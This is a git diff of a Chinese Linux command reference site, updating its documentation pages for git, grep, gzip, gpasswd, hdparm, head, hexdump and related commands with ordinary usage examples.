    git submodule foreach git pull # submodule 里有其他的 submodule 一次更新 git submodule foreach git pull origin master # submodule更新 -git submodule foreach --recursive git submodule init -git submodule foreach --recursive git submodule update +git submodule foreach --recursive git submodule init +git submodule foreach --recursive git submodule update

    删除文件

    -
    git rm -rf node_modules/
    +
    git rm -rf node_modules/
     

    remote

    git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。

    git remote add origin1 git@github.com:yanhaijing/data.js.git  
     git remote    # 显示全部源  
    -git remote -v # 显示全部源+详细信息  
    +git remote -v # 显示全部源+详细信息  
     git remote rename origin1 origin2 # 重命名  
     git remote rm origin    # 删除  
     git remote show origin  # 查看指定源的全部信息  
    @@ -1109,19 +1109,19 @@ git remote show origin  # 查看指定源的全部信息
     " class="copied">

    标签tag

    当开发到一定阶段时,给程序打标签是非常棒的功能。

    -
    git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签   
    -git push origin --tags              # 一次性推送所有分支 
    +
    git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签   
    +git push origin --tags              # 一次性推送所有分支 
     git push origin v1.5                # 推送单个tag到orgin源上 
    -git tag -v v1.4.2.1                 # 验证标签,验证已经签署的标签
    +git tag -v v1.4.2.1                 # 验证标签,验证已经签署的标签
     git show v1.5                       # 看到对应的 GPG 签
     
     git tag        # 列出现有标签   
     git tag v0gi.1 # 新建标签   
     git checkout tagname   # 切换到标签       
    -git tag -d v0.1 # 删除标签   
    +git tag -d v0.1 # 删除标签   
     git push origin :refs/tags/v0.1 # 删除远程标签   
    -git pull --all # 获取远程所有内容包括tag  
    -git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信息  
    +git pull --all # 获取远程所有内容包括tag  
    +git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信息  
     
    git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 git log #查看最近的提交日志 -git log --pretty=oneline #单行显示提交日志 -git log --graph --pretty=oneline --abbrev-commit -git log -num #显示第几条log(倒数) +git log --pretty=oneline #单行显示提交日志 +git log --graph --pretty=oneline --abbrev-commit +git log -num #显示第几条log(倒数) git reflog #查看所有分支的所有操作记录 -git log --since=1.day #一天内的提交;你可以给出各种时间格式,比如说具体的某一天(“2008-01-15”),或者是多久以前(“2 years 1 day 3 minutes ago”)。 -git log --pretty="%h - %s" --author=自己的名字 #查看自己的日志 -git log -p -2 #展开两次更新显示每次提交的内容差异 -git log --stat #要快速浏览其他协作者提交的更新都作了哪些改动 -git log --pretty=format:"%h - %an, %ar : %s"#定制要显示的记录格式 -git log --pretty=format:'%h : %s' --date-order --graph # 拓扑顺序展示 -git log --pretty=format:'%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 -git log <last tag> HEAD --pretty=format:%s # 只显示commit -git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 写入全局配置 +git log --since=1.day #一天内的提交;你可以给出各种时间格式,比如说具体的某一天(“2008-01-15”),或者是多久以前(“2 years 1 day 3 minutes ago”)。 +git log --pretty="%h - %s" --author=自己的名字 #查看自己的日志 +git log -p -2 #展开两次更新显示每次提交的内容差异 +git log --stat #要快速浏览其他协作者提交的更新都作了哪些改动 +git log --pretty=format:"%h - %an, %ar : %s"#定制要显示的记录格式 +git log --pretty=format:'%h : %s' --date-order --graph # 拓扑顺序展示 +git log --pretty=format:'%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 +git log <last tag> HEAD --pretty=format:%s # 只显示commit +git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 写入全局配置
    Pretty Formats

    重写历史

    -
    git commit --amend    # 改变最近一次提交  
    -git rebase -i HEAD~3  # 修改最近三次的提交说明,或者其中任意一次  
    -git commit --amend    # 保存好了,这些指示很明确地告诉了你该干什么  
    -git rebase --continue # 修改提交说明,退出编辑器。  
    +
    git commit --amend    # 改变最近一次提交  
    +git rebase -i HEAD~3  # 修改最近三次的提交说明,或者其中任意一次  
    +git commit --amend    # 保存好了,这些指示很明确地告诉了你该干什么  
    +git rebase --continue # 修改提交说明,退出编辑器。  
     

    解决这个问题方法是:

    -
    git config --global core.quotepath false
    +
    git config --global core.quotepath false
     

    参考资料

    @@ -1325,7 +1325,7 @@ vim .git/config
  • 沉浸式学 Git
  • Git进阶用法,主要是rebase高级用法
  • - - + + \ No newline at end of file diff --git a/c/gpasswd.html b/c/gpasswd.html index 9f4a46ab80..e8850a57f0 100644 --- a/c/gpasswd.html +++ b/c/gpasswd.html @@ -9,7 +9,7 @@ gpasswd 命令,Linux gpasswd 命令详解:Linux下工作组文件的管理工具 - Linux 命令搜索引擎 - + @@ -144,21 +144,21 @@ customElements.define('markdown-style', MarkdownStyle);

    让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。

    所以使用gpasswd groupname设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。

    -
    gpasswd -A peter users
    +
    gpasswd -A peter users
     

    这样peter就是users群组的管理员,就可以执行下面的操作:

    -
    gpasswd -a mary users
    -gpasswd -a allen users
    +
    gpasswd -a mary users
    +gpasswd -a allen users
     

    注意:添加用户到某一个组 可以使用usermod -G group_name user_name这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。

    所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户:

    -
    gpasswd -a user_name group_name
    +
    gpasswd -a user_name group_name
     
    - - + + \ No newline at end of file diff --git a/c/gpm.html b/c/gpm.html index df2c63034f..25b2f93ee5 100644 --- a/c/gpm.html +++ b/c/gpm.html @@ -9,7 +9,7 @@ gpm 命令,Linux gpm 命令详解:提供文字模式下的滑鼠事件处理 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/grep.html b/c/grep.html index c540a73fb5..742bf9251b 100644 --- a/c/grep.html +++ b/c/grep.html @@ -9,7 +9,7 @@ grep 命令,Linux grep 命令详解:强大的文本搜索工具 - Linux 命令搜索引擎 - + @@ -118,35 +118,35 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。

    选项

    -
    -a --text  # 不要忽略二进制数据。
    --A <显示行数>   --after-context=<显示行数>   # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。
    --b --byte-offset                           # 在显示符合范本样式的那一行之外,并显示该行之前的内容。
    +
    -a --text  # 不要忽略二进制数据。
    +-A <显示行数>   --after-context=<显示行数>   # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。
    +-b --byte-offset                           # 在显示符合范本样式的那一行之外,并显示该行之前的内容。
     -B<显示行数>   --before-context=<显示行数>   # 除了显示符合样式的那一行之外,并显示该行之前的内容。
    --c --count    # 计算符合范本样式的列数。
    --C<显示行数> --context=<显示行数>或-<显示行数> # 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。
    --d<进行动作> --directories=<动作>  # 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。
    --e<范本样式> --regexp=<范本样式>   # 指定字符串作为查找文件内容的范本样式。
    --E --extended-regexp             # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
    --f<范本文件> --file=<规则文件>     # 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。
    --F --fixed-regexp   # 将范本样式视为固定字符串的列表。
    --G --basic-regexp   # 将范本样式视为普通的表示法来使用。
    --h --no-filename    # 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。
    --H --with-filename  # 在显示符合范本样式的那一列之前,标示该列的文件名称。
    --i --ignore-case    # 忽略字符大小写的差别。
    --l --file-with-matches   # 列出文件内容符合指定的范本样式的文件名称。
    --L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。
    --n --line-number         # 在显示符合范本样式的那一列之前,标示出该列的编号。
    --P --perl-regexp         # PATTERN 是一个 Perl 正则表达式
    --q --quiet或--silent     # 不显示任何信息。
    --R/-r  --recursive       # 此参数的效果和指定“-d recurse”参数相同。
    --s --no-messages  # 不显示错误信息。
    --v --revert-match # 反转查找。
    --V --version      # 显示版本信息。   
    --w --word-regexp  # 只显示全字符合的列。
    --x --line-regexp  # 只显示全列符合的列。
    --y # 此参数效果跟“-i”相同。
    --o # 只输出文件中匹配到的部分。
    --m <num> --max-count=<num> # 找到num行结果后停止查找,用来限制匹配行数
    +-c --count    # 计算符合范本样式的列数。
    +-C<显示行数> --context=<显示行数>或-<显示行数> # 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。
    +-d<进行动作> --directories=<动作>  # 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。
    +-e<范本样式> --regexp=<范本样式>   # 指定字符串作为查找文件内容的范本样式。
    +-E --extended-regexp             # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
    +-f<范本文件> --file=<规则文件>     # 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。
    +-F --fixed-regexp   # 将范本样式视为固定字符串的列表。
    +-G --basic-regexp   # 将范本样式视为普通的表示法来使用。
    +-h --no-filename    # 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。
    +-H --with-filename  # 在显示符合范本样式的那一列之前,标示该列的文件名称。
    +-i --ignore-case    # 忽略字符大小写的差别。
    +-l --file-with-matches   # 列出文件内容符合指定的范本样式的文件名称。
    +-L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。
    +-n --line-number         # 在显示符合范本样式的那一列之前,标示出该列的编号。
    +-P --perl-regexp         # PATTERN 是一个 Perl 正则表达式
    +-q --quiet或--silent     # 不显示任何信息。
    +-R/-r  --recursive       # 此参数的效果和指定“-d recurse”参数相同。
    +-s --no-messages  # 不显示错误信息。
    +-v --revert-match # 反转查找。
    +-V --version      # 显示版本信息。   
    +-w --word-regexp  # 只显示全字符合的列。
    +-x --line-regexp  # 只显示全列符合的列。
    +-y # 此参数效果跟“-i”相同。
    +-o # 只输出文件中匹配到的部分。
    +-m <num> --max-count=<num> # 找到num行结果后停止查找,用来限制匹配行数
     

    输出除之外的所有行 -v 选项:

    -
    grep -v "match_pattern" file_name
    +
    grep -v "match_pattern" file_name
     

    标记匹配颜色 --color=auto 选项:

    -
    grep "match_pattern" file_name --color=auto
    +
    grep "match_pattern" file_name --color=auto
     

    使用正则表达式 -E 选项:

    -
    grep -E "[1-9]+"
    +
    grep -E "[1-9]+"
     # 或
     egrep "[1-9]+"
     

    使用正则表达式 -P 选项:

    -
    grep -P "(\d{3}\-){2}\d{4}" file_name
    +
    grep -P "(\d{3}\-){2}\d{4}" file_name
     

    只输出文件中匹配到的部分 -o 选项:

    -
    echo this is a test line. | grep -o -E "[a-z]+\."
    +
    echo this is a test line. | grep -o -E "[a-z]+\."
     line.
     
    -echo this is a test line. | egrep -o "[a-z]+\."
    +echo this is a test line. | egrep -o "[a-z]+\."
     line.
     

    统计文件或者文本中包含匹配字符串的行数 -c 选项:

    -
    grep -c "text" file_name
    +
    grep -c "text" file_name
     

    搜索命令行历史记录中 输入过 git 命令的记录:

    @@ -263,12 +263,12 @@ line.

    输出包含匹配字符串的行数 -n 选项:

    -
    grep "text" -n file_name
    +
    grep "text" -n file_name
     # 或
    -cat file_name | grep "text" -n
    +cat file_name | grep "text" -n
     
     #多个文件
    -grep "text" -n file_1 file_2
    +grep "text" -n file_1 file_2
     

    打印样式匹配所位于的字符或字节偏移:

    -
    echo gun is not unix | grep -b -o "not"
    +
    echo gun is not unix | grep -b -o "not"
     7:not
     #一行中字符串的字符偏移是从该行的第一个字符开始计算,起始值为0。选项  **-b -o**  一般总是配合使用。
     

    搜索多个文件并查找匹配文本在哪些文件中:

    -
    grep -l "text" file1 file2 file3...
    +
    grep -l "text" file1 file2 file3...
     

    grep递归搜索文件

    在多级目录中对文本进行递归搜索:

    -
    grep "text" . -r -n
    +
    grep "text" . -r -n
     # .表示当前目录。
     

    忽略匹配样式中的字符大小写:

    -
    echo "hello world" | grep -i "HELLO"
    +
    echo "hello world" | grep -i "HELLO"
     # hello
     

    选项 -e 制动多个匹配样式:

    -
    echo this is a text line | grep -e "is" -e "line" -o
    +
    echo this is a text line | grep -e "is" -e "line" -o
     is
     is
     line
    @@ -312,7 +312,7 @@ grep "text" -n file_1 file_2
     aaa
     bbb
     
    -echo aaa bbb ccc ddd eee | grep -f patfile -o
    +echo aaa bbb ccc ddd eee | grep -f patfile -o
     

    在grep搜索结果中包括或者排除指定文件:

    # 只在目录中所有的.php和.html文件中递归搜索字符"main()"
    -grep "main()" . -r --include *.{php,html}
    +grep "main()" . -r --include *.{php,html}
     
     # 在搜索结果中排除所有README文件
    -grep "main()" . -r --exclude "README"
    +grep "main()" . -r --exclude "README"
     
     # 在搜索结果中排除filelist文件列表里的文件
    -grep "main()" . -r --exclude-from filelist
    +grep "main()" . -r --exclude-from filelist
     
     
    echo "bbb" > file2 echo "aaa" > file3 -grep "aaa" file* -lZ | xargs -0 rm +grep "aaa" file* -lZ | xargs -0 rm # 执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。

    grep静默输出:

    -
    grep -q "test" filename
    +
    grep -q "test" filename
     # 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。
     

    打印出匹配文本之前或者之后的行:

    # 显示匹配某个结果之后的3行,使用 -A 选项:
    -seq 10 | grep "5" -A 3
    +seq 10 | grep "5" -A 3
     5
     6
     7
     8
     
     # 显示匹配某个结果之前的3行,使用 -B 选项:
    -seq 10 | grep "5" -B 3
    +seq 10 | grep "5" -B 3
     2
     3
     4
     5
     
     # 显示匹配某个结果的前三行和后三行,使用 -C 选项:
    -seq 10 | grep "5" -C 3
    +seq 10 | grep "5" -C 3
     2
     3
     4
    @@ -395,7 +395,7 @@ grep "aaa" file* -lZ | xargs -0 rm
     8
     
     # 如果匹配结果有多个,会用“--”作为各匹配结果之间的分隔符:
    -echo -e "a\nb\nc\na\nb\nc" | grep a -A 1
    +echo -e "a\nb\nc\na\nb\nc" | grep a -A 1
     a
     b
     --
    @@ -433,7 +433,7 @@ b
     a
     b
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/groupadd.html b/c/groupadd.html index be81c136d2..b52e36d689 100644 --- a/c/groupadd.html +++ b/c/groupadd.html @@ -9,7 +9,7 @@ groupadd 命令,Linux groupadd 命令详解:用于创建一个新的工作组 - Linux 命令搜索引擎 - + @@ -135,11 +135,11 @@ customElements.define('markdown-style', MarkdownStyle);组名:指定新建工作组的组名。

    实例

    建立一个新组,并设置组ID加入系统:

    -
    groupadd -g 344 jsdigname
    +
    groupadd -g 344 jsdigname
     

    此时在/etc/passwd文件中产生一个组ID(GID)是344的项目。

    - - + + \ No newline at end of file diff --git a/c/groupdel.html b/c/groupdel.html index 286e2864ee..b096b699ab 100644 --- a/c/groupdel.html +++ b/c/groupdel.html @@ -9,7 +9,7 @@ groupdel 命令,Linux groupdel 命令详解:用于删除指定的工作组 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/groupmod.html b/c/groupmod.html index 819c46a32d..89a9f5adc0 100644 --- a/c/groupmod.html +++ b/c/groupmod.html @@ -9,7 +9,7 @@ groupmod 命令,Linux groupmod 命令详解:更改群组识别码或名称 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    组名:指定要修改的工作的组名。

    - - + + \ No newline at end of file diff --git a/c/groups.html b/c/groups.html index 860bd3be24..a0ea706fd2 100644 --- a/c/groups.html +++ b/c/groups.html @@ -9,7 +9,7 @@ groups 命令,Linux groups 命令详解:打印指定用户所在组的名称。 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);打印指定用户所在组的名称。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -146,7 +146,7 @@ linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
  • 每个用户属于/etc/passwd中指定的一个组和在/etc/group中指定的其他组。
  • 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 groupsinfo coreutils 'groups invocation'
  • - - + + \ No newline at end of file diff --git a/c/grpck.html b/c/grpck.html index 5960fb0436..fb88cbe7ab 100644 --- a/c/grpck.html +++ b/c/grpck.html @@ -9,7 +9,7 @@ grpck 命令,Linux grpck 命令详解:用于验证组文件的完整性 - Linux 命令搜索引擎 - + @@ -157,7 +157,7 @@ grpck: the files have been updated # 这时已经删除了错误的行,提示 **cat /etc/group | grep check_user # 没有查到,已经删除了。** " class="copied">
    - - + + \ No newline at end of file diff --git a/c/grpconv.html b/c/grpconv.html index 85e87bb87c..96026c4518 100644 --- a/c/grpconv.html +++ b/c/grpconv.html @@ -9,7 +9,7 @@ grpconv 命令,Linux grpconv 命令详解:用来开启群组的投影密码 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    设置cdy组密码

    -
    groupmod --password 123456 cdy
    +
    groupmod --password 123456 cdy
     cat /etc/group | grep cdy
     cdy:123456:1000:     # 看出密码是123456
     

    注:gshadow, shadow只有root权限才可以查看。

    - - + + \ No newline at end of file diff --git a/c/grpunconv.html b/c/grpunconv.html index d899e3d4a1..37700d7343 100644 --- a/c/grpunconv.html +++ b/c/grpunconv.html @@ -9,7 +9,7 @@ grpunconv 命令,Linux grpunconv 命令详解:用来关闭群组的投影密码 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ cat: /etc/gshadow: 没有那个文件或目录
    - - + + \ No newline at end of file diff --git a/c/grub.html b/c/grub.html index c0de108d25..08deed369f 100644 --- a/c/grub.html +++ b/c/grub.html @@ -9,7 +9,7 @@ grub 命令,Linux grub 命令详解:多重引导程序grub的命令行shell工具 - Linux 命令搜索引擎 - + @@ -170,7 +170,7 @@ boot " class="copied">

    即可启动系统。

    这里的关键问题是如何确定系统的几个分区:/boot / /sbin

    - - + + \ No newline at end of file diff --git a/c/gunzip.html b/c/gunzip.html index 64a64834c8..f7b1eacd17 100644 --- a/c/gunzip.html +++ b/c/gunzip.html @@ -9,7 +9,7 @@ gunzip 命令,Linux gunzip 命令详解:用来解压缩文件 - Linux 命令搜索引擎 - + @@ -156,12 +156,12 @@ customElements.define('markdown-style', MarkdownStyle);实例

    首先将/etc目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到/opt目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。

    zip –r /opt/etc.zip /etc
    -gzip -9v /opt/etc.zip
    +gzip -9v /opt/etc.zip
     

    查看上述etc.zip.gz文件的压缩信息。

    -
    gzip -l /opt/etc.zip.gz
    +
    gzip -l /opt/etc.zip.gz
     compressed        uncompressed ratio uncompressed_name
     11938745            12767265   6.5% /opt/etc.zip
     

    通过上面的示例可以知道gzip –d等价于gunzip命令。

    - - + + \ No newline at end of file diff --git a/c/gzexe.html b/c/gzexe.html index cd6f92a4ad..26519e0ed1 100644 --- a/c/gzexe.html +++ b/c/gzexe.html @@ -9,7 +9,7 @@ gzexe 命令,Linux gzexe 命令详解:用来压缩可执行文件 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定需要压缩的可执行文件。

    - - + + \ No newline at end of file diff --git a/c/gzip.html b/c/gzip.html index 8a9a86897e..4eac37918b 100644 --- a/c/gzip.html +++ b/c/gzip.html @@ -9,7 +9,7 @@ gzip 命令,Linux gzip 命令详解:用来压缩文件 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);-<压缩效率>:压缩效率是一个介于1~9的数值,预设值为“6”,指定愈大的数值,压缩效率就会愈高; --best:此参数的效果和指定“-9”参数相同; --fast:此参数的效果和指定“-1”参数相同。 --num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。 +-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。 -c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。

    把上例中每个压缩的文件解压,并列出详细的信息

    -
    gzip -dv *
    +
    gzip -dv *
     

    详细显示例1中每个压缩的文件的信息,并不解压

    -
    gzip -l *
    +
    gzip -l *
     

    压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz

    -
    gzip -r log.tar
    +
    gzip -r log.tar
     

    递归的压缩目录

    -
    gzip -rv test6
    +
    gzip -rv test6
     

    这样,所有test下面的文件都变成了*.gz,目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩,和打包不同。因为是对目录操作,所以需要加上-r选项,这样也可以对子目录进行递归了。

    递归地解压目录

    -
    gzip -dr test6
    +
    gzip -dr test6
     

    保留原始文件,把压缩/解压流重定向到新文件

    -
    gzip -c aa > aa.gz
    -gzip -dc bb.gz > bb
    +
    gzip -c aa > aa.gz
    +gzip -dc bb.gz > bb
     
    - - + + \ No newline at end of file diff --git a/c/halt.html b/c/halt.html index ac748ead16..ed5c1c3508 100644 --- a/c/halt.html +++ b/c/halt.html @@ -9,7 +9,7 @@ halt 命令,Linux halt 命令详解:关闭正在运行的Linux操作系统 - Linux 命令搜索引擎 - + @@ -136,12 +136,12 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    halt -p     # 关闭系统后关闭电源。
    -halt -d     # 关闭系统,但不留下纪录。
    +
    halt -p     # 关闭系统后关闭电源。
    +halt -d     # 关闭系统,但不留下纪录。
     
    - - + + \ No newline at end of file diff --git a/c/hdparm.html b/c/hdparm.html index 540e27cb83..182aa692af 100644 --- a/c/hdparm.html +++ b/c/hdparm.html @@ -9,7 +9,7 @@ hdparm 命令,Linux hdparm 命令详解:显示与设定硬盘的参数 - Linux 命令搜索引擎 - + @@ -195,7 +195,7 @@ customElements.define('markdown-style', MarkdownStyle);
    显示硬盘的柱面、磁头、扇区数: ```shell -hdparm -g /dev/sda +hdparm -g /dev/sda /dev/sda: geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]

    测试硬盘的读取速度:

    -
    hdparm -T /dev/sda
    +
    hdparm -T /dev/sda
     /dev/sda:
      Timing cached reads:   4684 MB in  2.00 seconds = 2342.92 MB/sec
     

    测试硬盘缓存的读取速度:

    -
    hdparm -T /dev/xvda
    +
    hdparm -T /dev/xvda
     /dev/xvda:
     Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec
     

    检测硬盘的电源管理模式:

    -
    hdparm -C /dev/sda
    +
    hdparm -C /dev/sda
     /dev/sda:
     drive state is: standby [省电模式]
     

    查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率:

    -
    hdparm -m /dev/sda
    -hdparm -m    #参数值为整数值如8 /dev/sda
    +
    hdparm -m /dev/sda
    +hdparm -m    #参数值为整数值如8 /dev/sda
     

    附:硬盘坏道修复方法

    -
    检查:smartctl -l selftest /dev/sda
    +
    检查:smartctl -l selftest /dev/sda
     卸载:umount /dev/sda*
     修复:badblocks /dev/sda
     
    - - + + \ No newline at end of file diff --git a/c/head.html b/c/head.html index fb19553877..7f944c99e7 100644 --- a/c/head.html +++ b/c/head.html @@ -9,7 +9,7 @@ head 命令,Linux head 命令详解:显示文件的开头部分。 - Linux 命令搜索引擎 - + @@ -126,13 +126,13 @@ customElements.define('markdown-style', MarkdownStyle);当没有文件或文件为-时,读取标准输入。

    选项

    -
    -c, --bytes=[-]NUM       显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。
    --n, --lines=[-]NUM       显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。
    --q, --quiet, --silent    不打印文件名行。
    --v, --verbose            总是打印文件名行。
    +
    -c, --bytes=[-]NUM       显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。
    +-n, --lines=[-]NUM       显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。
    +-q, --quiet, --silent    不打印文件名行。
    +-v, --verbose            总是打印文件名行。
     -z, --zero-terminated    行终止符为NUL而不是换行符。
    ---help                   显示帮助信息并退出。
    ---version                显示版本信息并退出。
    +--help                   显示帮助信息并退出。
    +--version                显示版本信息并退出。
     
     NUM可以有一个乘数后缀:
     b 512
    @@ -177,11 +177,11 @@ MiB=M
     

    返回0表示成功,返回非0值表示失败。

    例子

    # 查看历史文件的前6行:
    -[user2@pc ~]$ head -n 6 ~/.bash_history
    +[user2@pc ~]$ head -n 6 ~/.bash_history
     #1575425555
     cd ~
     #1575425558
    -ls -lh
    +ls -lh
     #1575425562
     vi ~/Desktop/ZhuangZhu-74.txt
     
    # 查看多个文件:
    -[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc
    +[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc
     ==> /allhome/user2/.bash_history <==
     #1575425555
     cd ~
     #1575425558
    -ls -lh
    +ls -lh
     #1575425562
     vi ~/Desktop/ZhuangZhu-74.txt
     #1575425566
     uptime
     #1575425570
    -find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \;
    +find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \;
     
     ==> /allhome/user2/.bashrc <==
     # .bashrc
     
     # forbid use Ctrl+D to exit shell.
    -set -o ignoreeof
    +set -o ignoreeof
     
     # Source global definitions.
    -if [ -f /etc/bashrc ]; then
    +if [ -f /etc/bashrc ]; then
             . /etc/bashrc
     fi
     
    @@ -248,7 +248,7 @@ fi
     
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 headinfo coreutils 'head invocation'
    - - + + \ No newline at end of file diff --git a/c/help.html b/c/help.html index 33f2a0c9b2..e7a2edd253 100644 --- a/c/help.html +++ b/c/help.html @@ -9,7 +9,7 @@ help 命令,Linux help 命令详解:该命令是bash内建命令,用于显示bash内建命令的帮助信息。 - Linux 命令搜索引擎 - + @@ -149,11 +149,11 @@ customElements.define('markdown-style', MarkdownStyle);help shopt #获取shopt命令的帮助信息 shopt: shopt [-pqsu] [-o long-option] optname [optname...] Toggle the values of variables controlling optional behavior. - The -s flag means to enable (set) each OPTNAME; the -u flag - unsets each OPTNAME. The -q flag suppresses output; the exit - status indicates whether each OPTNAME is set or unset. The -o + The -s flag means to enable (set) each OPTNAME; the -u flag + unsets each OPTNAME. The -q flag suppresses output; the exit + status indicates whether each OPTNAME is set or unset. The -o option restricts the OPTNAMEs to those defined for use with - `set -o'. With no options, or with the -p option, a list of all + `set -o'. With no options, or with the -p option, a list of all settable options is displayed, with an indication of whether or not each is set.
    - - + + \ No newline at end of file diff --git a/c/hexdump.html b/c/hexdump.html index 5fdbce4ed5..44b94993bf 100644 --- a/c/hexdump.html +++ b/c/hexdump.html @@ -9,7 +9,7 @@ hexdump 命令,Linux hexdump 命令详解:显示文件十六进制格式 - Linux 命令搜索引擎 - + @@ -122,15 +122,15 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n length 只格式化输入文件的前length个字节。
    --C 输出规范的十六进制和ASCII码。
    --b 单字节八进制显示。
    --c 单字节字符显示。
    --d 双字节十进制显示。
    --o 双字节八进制显示。
    --x 双字节十六进制显示。
    --s 从偏移量开始输出。
    --e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。
    +
    -n length 只格式化输入文件的前length个字节。
    +-C 输出规范的十六进制和ASCII码。
    +-b 单字节八进制显示。
    +-c 单字节字符显示。
    +-d 双字节十进制显示。
    +-o 双字节八进制显示。
    +-x 双字节十六进制显示。
    +-s 从偏移量开始输出。
    +-e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'

    同一行如果要显示多个格式字符串,则可以跟多个-e选项。

    实例

    -
    hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' test
    +
    hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' test
     00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  |  ................  
     10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F  |  ................  
     20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F  |   !"#$%&'()*+,-./ 
    @@ -172,7 +172,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/history.html b/c/history.html index 7e940a4d39..5465cbec20 100644 --- a/c/history.html +++ b/c/history.html @@ -9,7 +9,7 @@ history 命令,Linux history 命令详解:显示或操作历史列表。 - Linux 命令搜索引擎 - + @@ -117,8 +117,8 @@ customElements.define('markdown-style', MarkdownStyle);显示或操作历史列表。

    概要

    history [-c] [-d offset] [n]
    -history -anrw [filename]
    -history -ps arg [arg...]
    +history -anrw [filename]
    +history -ps arg [arg...]
     
    选项 -
